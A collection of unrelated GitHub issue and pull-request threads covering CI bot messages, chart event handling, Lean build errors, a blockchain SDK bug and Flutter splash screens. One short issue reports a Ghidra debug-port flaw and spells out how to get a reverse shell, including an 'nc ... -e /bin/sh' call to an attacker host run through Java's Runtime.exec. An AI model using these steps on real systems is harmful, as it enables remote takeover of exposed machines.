Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

Hi @dwradcliffe. Thanks for your PR.
I'm waiting for a istio member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work. Regular contributors should join the org to skip this step.
Once the patch is verified, the new status will be reflected by the ok-to-test label.
I understand the commands that are listed here.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

/ok-to-test

@dwradcliffe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
38134c6fcd0ba9b2e3df3da0f0befa6c4974d9a3
link
/test e2e-simpleTests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@dwradcliffe: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-integ-k8s-tests.sh
38134c6fcd0ba9b2e3df3da0f0befa6c4974d9a3
link
/test istio-integ-k8s-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@dwradcliffe: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-integ-k8s-tests.sh
38134c6fcd0ba9b2e3df3da0f0befa6c4974d9a3
link
/test istio-integ-k8s-tests

prow/istio-pilot-multicluster-e2e.sh
38134c6fcd0ba9b2e3df3da0f0befa6c4974d9a3
link
/test istio-pilot-multicluster-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

/retest

@dwradcliffe: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-multicluster-e2e.sh
38134c6fcd0ba9b2e3df3da0f0befa6c4974d9a3
link
/test istio-pilot-multicluster-e2e

prow/istio-integ-k8s-tests.sh
38134c6fcd0ba9b2e3df3da0f0befa6c4974d9a3
link
/test istio-integ-k8s-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/lgtm

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: dwradcliffe, ymesika
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

pilot/pkg/networking/OWNERS [ymesika]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

The code coverage failure is
    main_test.go:216: Coverage dropped:
        istio.io/istio/pilot/pkg/proxy/envoy/v2/rds.go:-12.200000% (73.200000% to 61.000000%)

This is caused by https://github.com/istio/istio/issues/12316 and is not the fault of this PR.  It is a random failure.  I will attempt to re-run it.

@wenchenglu can we get this one merged?  Minor bug fix and the circleci failure is unrelated

good catch!  cc @duderino

lgtm on my side. This is a nice fix, and I don't see risk merging this to 1.1 if the new release hasn't been cut yet. But if the new release has already been cut, I think this can wait til 1.1.1
@duderino what do you think?

bump

@wenchenglu can we get this one merged to 1.1?


[FEATURE] Ability to manually trigger element events

This may already be possible, but I have not found a way to obtain the points thus far.
Expected Behavior
A way to trigger hover events manually. For example, when I mouseover a point or bar a tooltip pops up. The expected behavior of this feature would be that I could put a timer on in javascript to step through point by point and trigger the hover events.
Current Behavior
Currently, I have not found a way to be able to access the points in order to trigger these events manually.
Possible Solution
Giving the ability to find the index of all points in a certain graph so that one could use that index to step through and trigger each event when needed
Context
I am using chart.js for a dashboard and I would like to step through each point in a timer that basically makes the popup appear and then disappear one point/bar at a time. It's to give the dashboard a more active and lively look/feel.
Environment

Chart.js version: latest
Browser name and version: firefox, chrome

@cody2094 one solution is to manually trigger the event handler with "events" for the given points you want to deal with. The event handler is: https://github.com/chartjs/Chart.js/blob/master/src/core/core.controller.js#L749 but it is private so there are no guarantees of long term availability or API.
@simonbrunel thoughts?

@etimberg How would I trigger this handler for a point without being able to access the point itself manually? For example, using Jquery I am able to $("#some_id").trigger('event'); But the points on the graph are not actual elements, so how would I handle obtaining the point position to use the eventhandler function you pointed out?

@cody2094 I think you would need to do
let point = chart.getDatasetMeta(datasetIndex).data[index];
point._view has properties to look at in canvas coordinates

@etimberg
I decided to use a jquery event that was based off of the original event and trigger that fake event.
Example:
		points = myChart.getDatasetMeta(0).data[1]; 		canvas = document.getElementById("chart") 		canvas_coords = canvas.getBoundingClientRect(); 		x_coord = canvas_coords.left + points._view.x ; 		y_coord = canvas_coords.top + points._view.y ; 		var e = jQuery.Event('mousemove', { pageX: x_coord, pageY: y_coord,	clientX: x_coord, clientY: y_coord}	); 		$("#chart").trigger(e);
However, I can't seem to get it to break inside of the handleEvent function. So I tried to just simply trigger the mousemove event that handles the hovering but I can't seem to get that to break in the handleEvent function either. Any idea what I may be doing wrong?

@cody2094 jQuery events won't work since they have their own event system and don't use native events. I think you should be able to do the following (I copied this block from our test code)
var node = chart.canvas;
var evt = new MouseEvent('mousemove', {
  view: window,
  bubbles: true,
  cancelable: true,
  clientX: x_coord,
  clientY: y_coord
});
node.dispatchEvent(evt);

Closing as out of date


[WIP] Add schedule availability

Fixes #5.

Pull Request Test Coverage Report for Build 323

18 of 55 (32.73%) changed or added relevant lines in 6 files are covered.
8 unchanged lines in 4 files lost coverage.
Overall coverage decreased (-12.09%) to 50.838%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

app/models/home.rb
0
4
0.0%

app/controllers/home_controller.rb
0
12
0.0%

app/controllers/availabilities_controller.rb
11
32
34.38%

Files with Coverage Reduction
New Missed Lines
%

app/channels/application_cable/channel.rb
2
0.0%

app/channels/application_cable/connection.rb
2
0.0%

app/jobs/application_job.rb
2
0.0%

app/mailers/application_mailer.rb
2
0.0%

Totals

Change from base Build 318:
-12.09%

Covered Lines:
91

Relevant Lines:
179

💛  - Coveralls

Manual testing comments

Maybe instead of black/white put "YES" and "NO", just like the old duty website.
Put instructions on the top and bottom of the page. Just like in the old duty website too
Put Bootstrap button classes in your links e.g. btn-primary btn-success etc.
You might want to check on why it generates a lot of SQL queries. (I can help you check on that)

Overall, good job!


Issue with OneDrive Enablement

The setting Limit OneDrive access doesn't exist.   Is this article out of date?  I have M365 E5 access.
https://docs.microsoft.com/en-us/onedrive/limit-access

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8650f82d-4b6b-31d0-b6b6-179f5d04091f
Version Independent ID: 8650f82d-4b6b-31d0-b6b6-179f5d04091f
Content: Limit access - OneDrive
Content Source: OneDrive/limit-access.md
Service: one-drive
GitHub Login: @MikePlumleyMSFT
Microsoft Alias: mikeplum

Hello @jtsai8585 I am looking into this


feat(protocol): multiple improvements & bug fixes

Improve bridged token name and symbol override
Update eventindexer post hooks
Fix a bug in ERC20Vault
Make governor upgradable
Use RC1967Proxy instead of TransparentUpgradeableProxy
Split the original EssentialContract into an OwnerUUPSUpgradable.sol and a new EssentialContract
Removed all ProxiedXXXContract as all owner contracts must be used behind a proxy. This is enforced by calling _disableInitializers in constructor.
Simplified test imports to make it more readable.
Add airdrop contracts
Improve and test guardian prove
Allow changing Bridged ERC20 token on dest chain

@Brechtpd @davidtaikocha @adaki2004 @cyberhorsey
Please review this PR if you have a chance. I'll merge on Sunday to make sure the changes in this PR will also be audited by Sigma Prime.


Contradictory example for IsPresent function pertaining to Switch function

https://github.com/MicrosoftDocs/azure-docs/blob/2e5166e57cc58b259af300041c850fe4219505d9/articles/active-directory/app-provisioning/functions-for-customizing-application-data.md?plain=1#L562C12-L562C12
IsPresent function has the example nested inside a Switch statement:
Switch(IsPresent([directManager]),[directManager], IsPresent([skiplevelManager]),[skiplevelManager], IsPresent([director]),[director])
However, Switch statement has a caution that functions IsPresent, IsNull or IsNullOrEmpty should not be nested:
https://github.com/MicrosoftDocs/azure-docs/blob/2e5166e57cc58b259af300041c850fe4219505d9/articles/active-directory/app-provisioning/functions-for-customizing-application-data.md?plain=1#L1114

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: c8685339-06af-5bb1-64da-80c16878b0bf
Version Independent ID: 1ee0d812-00de-90cc-f5e2-d53e3b610bf0
Content: Reference for writing expressions for attribute mappings in Microsoft Entra Application Provisioning - Microsoft Entra
Content Source: articles/active-directory/app-provisioning/functions-for-customizing-application-data.md
Service: active-directory
Sub-service: app-provisioning
GitHub Login: @kenwith
Microsoft Alias: kenwith

@AndreLees
Thanks for your feedback! We will investigate and update as appropriate.

@kenwith
Can you please check and add your comments on this doc update request as applicable.

Yes, reaching out to the product team for this area for clarification. Thanks.

@AndreLees
I'm going to assign this to the document author so they can take a look at it accordingly.

Moved to work item in backlog. #please-close


Reverse Shell Exploit

Steps how to get reverse shell:
jdb -attach $IP:$PORT of the machine running GHIDRA classes #show the loaded classes, search for any that support the run() method, for example: org.apache.logging.log4j.core.util.WatchManager$WatchRunnable set a breakpoint with: stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run() wait for the breakpoint hit open netcat in your attacking computer: nc -nlvvp $PORT use: print new java.lang.Runtime().exec("nc $AttackerIP $AttackerPort -e /bin/sh (or the equivalent in windows)") Go to your netcat listen machine and enjoy system commands
How could we resolve this major exploit? Clearly this is very dangerous.

Dupe of #6


Fix syntax error of PowerShell

add ; because of missing after 'Transfer-Encoding' = 'chunked'

@inerplat : Thanks for your contribution! The author, @zhouwangzw, has been notified to review your proposed change.

#sign-off


lake update fails in new project with mathlib dependency (No such file or directory)

Prerequisites

[x] Put an X between the brackets on this line if you have done all of the following:

Check that your issue is not already filed.
Reduce the issue to a minimal, self-contained, reproducible test case. Avoid dependencies to mathlib4 or std4.

Description
Running lake update on a new project created with the math package template fails. Errors are of the form
error: stderr:
/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc: line 2: /home/rj/.elan/toolchains/leanprover--lean4---v4.7.tmp/bin/leanc.orig: No such file or directory
error: external command `/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc` exited with code 127

Context
I'm a new Lean user and followed the instructions for setting up a new project here.
Steps to Reproduce

lake +nightly new lean-math math
cd lean-math
lake update

Expected behavior:
lake update succeeds without errors.
Actual behavior:
lake update fails.

Full Output
rj@pop-os ~/dev/lean-math (main)> lake +nightly update
lean-math: no previous manifest, creating one from scratch
mathlib: cloning https://github.com/leanprover-community/mathlib4.git to '././.lake/packages/mathlib'
std: cloning https://github.com/leanprover/std4 to '././.lake/packages/std'
Qq: cloning https://github.com/leanprover-community/quote4 to '././.lake/packages/Qq'
aesop: cloning https://github.com/leanprover-community/aesop to '././.lake/packages/aesop'
proofwidgets: cloning https://github.com/leanprover-community/ProofWidgets4 to '././.lake/packages/proofwidgets'
Cli: cloning https://github.com/leanprover/lean4-cli to '././.lake/packages/Cli'
importGraph: cloning https://github.com/leanprover-community/import-graph.git to '././.lake/packages/importGraph'
warning: Qq: ignoring missing dependency manifest '././.lake/packages/Qq/lake-manifest.json'
warning: Cli: ignoring missing dependency manifest '././.lake/packages/Cli/lake-manifest.json'
mathlib: running post-update hooks
info: downloading component 'lean'
Total: 168.9 MiB Speed:  30.4 MiB/s
info: installing component 'lean'
info: [0/9] Downloading proofwidgets cloud release
info: [0/9] Unpacking proofwidgets cloud release
info: [1/9] Building Cache.IO
info: [2/9] Compiling Cache.IO
info: [2/9] Building Cache.Hashing
error: > /home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc -c -o ./.lake/packages/mathlib/.lake/build/ir/Cache/IO.c.o ./.lake/packages/mathlib/.lake/build/ir/Cache/IO.c -O3 -DNDEBUG
error: stderr:
/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc: line 2: /home/rj/.elan/toolchains/leanprover--lean4---v4.7.tmp/bin/leanc.orig: No such file or directory
error: external command `/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc` exited with code 127
info: [3/9] Compiling Cache.Hashing
info: [3/9] Building Cache.Requests
error: > /home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc -c -o ./.lake/packages/mathlib/.lake/build/ir/Cache/Hashing.c.o ./.lake/packages/mathlib/.lake/build/ir/Cache/Hashing.c -O3 -DNDEBUG
error: stderr:
/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc: line 2: /home/rj/.elan/toolchains/leanprover--lean4---v4.7.tmp/bin/leanc.orig: No such file or directory
error: external command `/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc` exited with code 127
info: [4/9] Compiling Cache.Requests
info: [4/9] Building Cache.Main
error: > /home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc -c -o ./.lake/packages/mathlib/.lake/build/ir/Cache/Requests.c.o ./.lake/packages/mathlib/.lake/build/ir/Cache/Requests.c -O3 -DNDEBUG
error: stderr:
/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc: line 2: /home/rj/.elan/toolchains/leanprover--lean4---v4.7.tmp/bin/leanc.orig: No such file or directory
error: external command `/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc` exited with code 127
info: [5/9] Compiling Cache.Main
error: > /home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc -c -o ./.lake/packages/mathlib/.lake/build/ir/Cache/Main.c.o ./.lake/packages/mathlib/.lake/build/ir/Cache/Main.c -O3 -DNDEBUG
error: stderr:
/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc: line 2: /home/rj/.elan/toolchains/leanprover--lean4---v4.7.tmp/bin/leanc.orig: No such file or directory
error: external command `/home/rj/.elan/toolchains/leanprover--lean4---v4.7.0/bin/leanc` exited with code 127
error: mathlib: failed to fetch cache

Versions
lean --version is Lean (version 4.7.0, x86_64-unknown-linux-gnu, commit 6fce8f7d5cd1, Release)
OS version is Pop!_OS 22.04 LTS
Additional Information
(No additional information)
Impact
Add :+1: to issues you consider important. If others are impacted by this issue, please ask them to add :+1: to it.

I think this is https://github.com/NixOS/nixpkgs/pull/294514?


141 normalize table

Closes #141.
Summary of Changes

Co-authored-by: sibre28<EMAIL_ADDRESS>

🦙 MegaLinter status: ✅ SUCCESS

Descriptor
Linter
Files
Fixed
Errors
Elapsed time

✅ PYTHON
black
3
1
0
0.78s

✅ PYTHON
mypy
3

0
1.99s

✅ PYTHON
ruff
3
1
0
0.05s

✅ REPOSITORY
git_diff
yes

no
0.03s

See detailed report in MegaLinter reports
Set VALIDATE_ALL_CODEBASE: true in mega-linter.yml to validate all sources, not only the diff
MegaLinter is graciously provided by


Add option to prost-build to skip the run of protoc

Our build system ends up generating all of the relevant protobuf files
already, so this ends up being a redundant step for us.  This allows the
running of the protoc step to be skipped.
There are some API concerns with this.  The inputs to compile_protos are
now ignored if that flag is set.  I didn't know to balance that with
Config::file_descriptor_set_path, which effectively allows for an input
of a filename into the config.  I could create a separate entry, similar
to compile_protos, that takes either:

Nothing and uses the config function input.  This, however, can be
left unspecified and error out, which isn't super user-friendly.
A path, but this would now ignore the existing config input function
if it was passed in.

I'm happy to put up a change that does that, but it wasn't clear either
was great, so I ended up going with the simplest approach.

@dfreese is this something you all are still interested in?

@dfreese is this something you all are still interested in?

Yes, it would be.  I think it's still something that's broadly useful (see here with grpc-rs).  Given a chance to break APIs, this wouldn't be the exact one I'd chose, but the base feature is still of interest.


Calling a payable entrypoint with a value less than the require() check asks for hangs in the promise

Describe the bug
Using AEX2, we are calling a payable contract entrypoint . The entrypoint checks if the value (of ae tokens sent) is enough to make the purchase via require() function. When we call this function (from the frontend, using the Superhero wallet) with insufficient balance on the wallet, the promise simply hangs and never returns. If we have sufficient balance, everything works OK, the entrypoint gets called.
Relevant contract code
payable stateful entrypoint purchasePack(pack': packIdType) =       require(Map.member(pack', state.packs), "Pack does not exist")       require((state.packs[pack'] * state.multiplyCoeficient * 10^16) =< Call.value, "Insufficient funds sent")
Relevant JS/React code
 this.client.contractCall(CODE, CONTRACT_ADDRESS, 'purchasePack',  [ this.props.packId ], { amount: this.props.price, denomination: 'ae'})         .then(value => {             console.info("ContractCall:result", value)             this.setState({loading: false, error: "", message: "You successfully purchased your pack!"});         }, rejection => {             console.error("ContractCall:error: rejected contract call ", rejection)             this.setState({loading: false, error: rejection.message? rejection.message : rejection.toString()});         }).catch(error => {             console.error("ContractCall:error: catch in contract call ", error)             this.setState({loading: false, error: error.toString()});         });
A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:
Currently it is almost impossible to reproduce this behavior on our live environment because we have a check before calling the contract (which we introduced because of this issue) which checks the balance of the wallet. Unfortunately, the function that checks the balance has a bug as well, which will be fixed in the next update of the JS SDK as I was told (ver 7.70) so you probably won't be able to call the contract. But here are the steps non the less

Go to 'https://www.crypticlegends.co/'
Login/register
Scroll down to Founder section on the home page to purchase one of the packs. Choose to pay in AE tokens
You will be taken to a page for purchasing in ae, where you first need to unlock your wallet and allow the page to connect to it. After that the button will be enabled, and your current AE address will be shown.
Click purchase
If your wallet balance is less than the purchase amount in AE, the promise never returns or catches

Expected behavior
Promise to return with either reject or catch
Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

OS: Windows
Browser Chrome
Version Latest

Unfortunately, the function that checks the balance has a bug as well, which will be fixed in the next update of the JS SDK as I was told (ver 7.70) so you probably won't be able to call the contract.

I think it is because of a wrong network used: https://github.com/aeternity/aepp-sdk-js/issues/1068#issuecomment-678933752
Also<EMAIL_ADDRESS>it is mostly a maintenance release, is doesn't intentionally fix any bugs like this

Hey, I've tried to reproduce the steps with Superhero Wallet from develop branch and it looks like it works for me, I have Insufficient balance  error.

Hi David,
Responded in the sdk issue.
Thanks again for pinpointing the underlying issue, I removed the test net node and the balance check works ok, so that's good enough for me.
Unsure if this is in fact the reason for this bug since having the right amount actually calls the contract, if it's not there (wrong network) it would be very weird to actually call it.
I would advise to still have some sort of a response so it is easier to detect this, as well as allowing the wallet to choose which network we are connected to since we supply multiple networks in the configuration (referring to the vuejs example for AEX2)
Thanks and keep up the good work guys :)

I could reproduce this issue with this code in Aepp example from sdk:

I think the reason of infinite promise lies in polling function in sdk:

If you don’t have enough balance, transaction won’t be mined, and the promise will return with Invalid transaction after 10 blocks (~30 min).
Maybe we can add balance check for arbitrary signing calls or have possibility to pass polling options (how much blocks to wait) through AEX-2 interface

@etharner can you post the code using md markup or by direct links to the sources the next time?

add balance check for arbitrary signing calls

as I know, because of that was enforsed the transaction validation before sending (it includes balance check), and it should have helped in this case

have possibility to pass polling options through AEX-2 interface

so, by default AEX-2 polls transactions on wallet side? I know that it should be adjustable, but I'm don't know the default value
I propose to decrease the default 10 value at least two times.

There is no activity on this issue, a lot have changed including checking the transactions that we about to sign via deeplinks, to be valid and to have enough balance to execute them. Feel free to reopen this issue, if it will pop up again.


tests/models/test_llama.py::test_llama_state_dict error

Hi,
I find do below pytest would report error:
E       AssertionError: assert odict_keys(['...head.weight']) == {'lm_head.wei....weight', ...}
E         Full diff:
E         + odict_keys(['transformer.embeddings.word_embeddings.weight', 'transformer.layers.0.mixer.Wqkv.weight', 'transformer.layers.0.mixer.out_proj.weight', 'transformer.layers.0.norm1.weight', 'transformer.layers.0.mlp.fc1.weight', 'transformer.layers.0.mlp.fc2.weight', 'transformer.layers.0.norm2.weight', 'transformer.layers.1.mixer.Wqkv.weight', 'transformer.layers.1.mixer.out_proj.weight', 'transformer.layers.1.norm1.weight', 'transformer.layers.1.mlp.fc1.weight', 'transformer.layers.1.mlp.fc2.weight', 'transformer.layers.1.norm2.weight', 'transformer.layers.2.m...
E
E         ...Full output truncated (231 lines hidden), use '-vv' to show

I checked state_dict.keys(), and its lack the rotary_emb, which I could see it while I directly print the model.
So it seem to me that rotary_emb has been put into state_dict keys, which lead to this error?

Yes, it about the rotary inv_freqs. I've just fixed the test to load the model correctly.

It is wierd. when I test with latest 4c98d0b41f38ee638a979064856ae06fc1aec8b6,
I find it still error at "    assert state_dict.keys() == pretrained_state_dict.keys()".
but this time, state_dict has the rotary_inv_freq_keys, while pretrained has not...
Do you mind that also provide your test Llama model download place? So that our test could be aligned?

state_dict shouldn't have the rotary_inv_freq keys since I set that buffer to persistent=False here.
pretrained_state_dict is read from LLaMa weights downloaded from Meta. The directory for the 7B model has files params.json and consolidated.0.pth I think.

It is my mistake that there is old version in the docker env which is not replaced by the new setup install.
After uninstall the old one[1.0.4], the test passed.
Thx


Rate limit engine systems w/ ScheduledExecutorService instead of DIY rateLimit method

I made use of ScheduledExecutorService the other day to rate limit the update of memory usage / GC collection stats in the debug overlay, and I'm wondering if it's a better way to perform the rate limiting I have in some engine systems so I don't have to have a custom rateLimit method.
In DebugOverlay:
https://github.com/ultraq/redhorizon/blob/8f4bd81fd4eaa62f917bb76545909dca9a5ad51f/redhorizon-engine/source/nz/net/ultraq/redhorizon/engine/graphics/imgui/DebugOverlay.groovy#L81-L84
And if I'm leaning more on executor services for the engines, then I wonder if it'd be good to rewrite them so that their run methods are only for the loop executions to be passed to such executors.  This'll mean having to extract all the setup/teardown logic around the loops and into their own methods, but doing that might lead to smaller methods since I don't have to mix it all in one.

[ ] Make EngineSystem have a setup method to do just that, returning some "context" object of the created objects to pass around
[ ] Make the run method accept the context object so it has access to those resources
[ ] Make the teardown also accept the context object to release resources, or can we make the context implement Closeable to do it automatically?  Note that there might be some threading issues here, especially in the graphics system, where operations can only be performed by the current graphics thread

Haven't done the scheduled executor thing, but I swapped out the complicated engine system startup/shutdown with Java 21's thread builder, and it's made that area far more bearable.  I think I'd still rather each system owned their own threads as it definitely makes the context management less messy (no having to constantly do context.withCurrent { ... } blocks for each potential thread), though I'd still like to give it a shot, especially for the systems where this isn't such an issue (ie: anything that isn't the OpenAL/OpenGL contexts).  So I'll keep this issue open for a while to remind myself of it and revisit when I want.

Ah, one issue with this: you can't evaluate the Thread.interrupted() condition from within the runnable passed to ScheduledExecutorService because then it'll be that scheduled thread's state and not the one from the engine system 🤔


Ordinal order isn't guaranteed

Unless I'm mistaken, it looks like you are relying on getOwnPropertyNames to determine the order of the enum values from which you set the ordinal. I'm pretty sure the order of that array is not guaranteed by the spec and it's possible to get different orderings on different platforms. This could be disastrous if you were using the ordinal on both a web-browser and a server and expecting them to match.
I didn't dig into the code, but the original Enumify library took the list of value names as an array in the initEnum function. Perhaps you should do something similar and require the programmer to pass in the values of the enum as an array in the order in which they should be defined. Then the ordinal only changes if the programmer changes it.
At a minimum, you might want to note in your documentation that the ordinal isn't guaranteed between platforms (or who knows, maybe even between separate invocations on the same platform).

This is an interesting point. I didn't really pay much attention to ordinal (I don't use it in my apps), so it was mostly an afterthought based on it being in Enumify.
I'll take a look.

Thanks again. I just committed 0.0.6, in which I changed the way the ordinal value is defined. It's now set in the constructor of the instance, and it no longer relies on getOwnPropertyNames.
I chose not to go with Enumify's array-based approach because I prefer having the API have the instances existing as properties directly on the EnumType in the code.


feat(consensus): add proof check logic for sync and consensus

 have
What type of PR is this?
Feature
What this PR does / why we need it:
Complete proof check logic for consensus robustness.
Add a bunch of verify functions in CommomConsensusAdapter for check block header and proof during consensus and sync.

verify_txs  ask mempool to prepare needed tx and verify them
verify_block_header verify the prev_hash and and validation field
verify_proof  verify the proof, like hash and  call next 2 funtions to  , signatrue and weight
verify_proof_signature
verity_proof_weight

While in check_block for starting a new proposal of height for consensus and in start_sync for sync an incoming block for synchronization, call these verify functions.
To support retrieve the last consensted and sync-ed proof, RPC_SYNC_PULL_PROOF & RPC_PULL_TXS_SYNC is added to allow sender to get a proof from remote or txs from remote storage of certain height.
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
nothing special

ping @LycrusHamster

@KaoImin @yejiayu
resolved

有个验证proof的错误,从日志上分析,数据都是对的,但是因为我吃了底层校验签名的错误,所以...还要修改下代码 打更多的错误日志....我的锅

3个群组,每个群组4个节点,依然没有重现proof的bug

code merge, the sign error and proof height error have never been reproduced, need more tests to verify

@yejiayu  @KaoImin
need review to approve


added hack website link

Added hack website link
#80

Currently, the banner kind of cuts off. You could either try to fiddle with the width and height of the banner in the Img props, or crop the banner to have less height. Preferably, try the former before resorting to the latter.

Also add the word "Fixes" in front of the issue number so it closes once we merge this PR


Add ripple effect for TabularSpeechSessionItem,TabularServiceSessionItem

Kind (Required)
Choose the suitable template if exists.

Other

Overview (Required)

:raising_hand_man:

Thanks! Assigned 👍

@sobaya-0141
Thank you for fast contribution as always 👍

@takahirom
簡単なものばかりで申し訳ないです。。。
ちょっとずつ力を付けて貢献できるようになります！！

But you are solving high priority important issues. It helps us significantly. 🙇


Ensure ActiveQuery is using DB connection set by model

Q
A

Is bugfix?
❌

New feature?
❌

Breaks BC?
❌

Tests pass?
✔

Regarding https://github.com/yiisoft/yii2/pull/18184

👍


Display USD when sending BCH

237.15 PSF tokens rewarded. TXID:
59ab219d2ec4fc251eabcd3daaacedb2869a536b5626ad13891b5240f835da5f

:tada: This PR is included in version 1.9.19 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


How to retain dates in UTC?

Does anyone knows how to retain the dates in UTC instead of local time? What config do I need to use?

Hello, we have attempted to replicate the issue you mentioned, but we find that the UTC date and time remain unchanged, even after embedding the report using the package.
Could you please provide additional information?
1. Are you utilizing any Power Query transformations to convert time from local to UTC?
2. Is the UTC time conversion happening in your Power BI Desktop/Services environment as well, or does it occur only after
embedding the report?

Closing since we didn't get a reply for few months.


Create a Jenkins role #GPII-1537

https://issues.gpii.net/browse/GPII-1537

@amatas, thanks a lot for this - I think with a few tweaks and clarifications to the README this should be good to go. Specifically, as per comments above:

addressing the "Include OS-specific variables" task issue
deciding what to do about the jenkins_admins issue

I've tested in my Ansible dev environment using this branch: https://github.com/waharnum/ansible-development-template/tree/amatas-jenkins - along with the playbook, I have a local version of the role that comments out the "Include OS-specific variables" task. This successfully sets up Jenkins in the VM as I'd expect.

@amatas, your changes work great with the exception of the OS-specific include_vars issue. The test playbook is appreciated as well! I see you have container related changes here, have you had a chance to test the creation of Docker images using this role or should that be covered in a separate JIRA issue?


Add custom handlers for errors

Hello, How i can auto-fix error like "missing whitespace" or "== should be ==="?
Maybe I can add error handlers?

👏 @AlexanderBukhtaty - you can run TSLint with --fix when simpler rules such as whitespace report how to fix complaints.
For more complicated rules such as triple-equals, there's ongoing discussion in #2625.


[FEAT] - Added unit tests and updated the tool documentation

Describe the PR
Added additional unit tests to consider the new features added recently. Also, updated the documentation based on these new features.
Changes included in the PR

Added new unit tests
Updated the tool documentation

I know we haven't modified this now, but I found a little typo in  line 63 of the TOOL_USAGE.md saying "connecto" maybe we can address that fix here


Run CI with "expensive pattern checks" on

Nice! We already have an asan config at least!

Ok, I feel a bit dumb asking this, but how do I pass these kind of flags to the LLVM build from bazel? It seems like configure_llvm only has provisions for selecting targets, but no more general options?

I think you might need to test this since I'm not totally certain but the easiest way would be to create a build configuration in the bazelrc like
build:expensive --copt -DMLIR_ENABLE_EXPENSIVE
build:expensive --config asan

So if you run any build with bazel build --config expensive then it would enable the asan flags and the macro.
I think that's at least how I'd work around the configure_llvm limitation


agent port fix

Codecov Report

Merging #498 (7d64220) into master (39f46c9) will not change coverage.
The diff coverage is 60.00%.

@@           Coverage Diff           @@
##           master     #498   +/-   ##
=======================================
  Coverage   62.36%   62.36%
=======================================
  Files          92       92
  Lines        7743     7743
=======================================
  Hits         4829     4829
  Misses       2138     2138
  Partials      776      776

Impacted Files
Coverage Δ

api/node.go
57.42% <60.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


[Android] Add ability to use a theme for splash screen in addition to launch screen

I've followed the documentation on how to create a launch and splash screen in Android and came up with this example, but it's not so clear to me how I can make the splash screen look like exactly the same as launch screen without modifying the normal theme which affects the app itself.
Steps to Reproduce

Grab this small example with colored screens.
Run it (launch screen is red, splash screen is green, app is blue) and pay attention to the status bar.

Expected results:
Ability to apply LaunchTheme to splash screen as well, i.e. be able to show splash screen with windowFullscreen on, but the flutter app itself without windowFullscreen.
Actual results:
The splash screen has a status bar.
I've also found some info in the stackoverflow question and in the medium article, but haven't managed to get it working the way I need.

Logs

flutter doctor -v
[✓] Flutter (Channel beta, 1.22.1, on Mac OS X 10.15.7 19H2, locale en)
    • Flutter version 1.22.1 at /Users/pavel_sulimau/src/open_source/flutter
    • Framework revision f30b7f4db9 (7 days ago), 2020-10-08 10:06:30 -0700
    • Engine revision 75bef9f6c8
    • Dart version 2.10.1

[✓] Android toolchain - develop for Android devices (Android SDK version 30.0.2)
    • Android SDK at /Users/pavel_sulimau/Library/Android/sdk
    • Platform android-30, build-tools 30.0.2
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6222593)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 12.0.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 12.0.1, Build version 12A7300
    • CocoaPods version 1.10.0.rc.1

[!] Android Studio (version 4.1)
    • Android Studio at /Applications/Android Studio.app/Contents
    ✗ Flutter plugin not installed; this adds Flutter specific functionality.
    ✗ Dart plugin not installed; this adds Dart specific functionality.
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6222593)

[✓] VS Code (version 1.50.1)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.15.0

[✓] Connected device (1 available)
    • sdk gphone x86 arm (mobile) • emulator-5554 • android-x86 • Android 11 (API 30) (emulator)

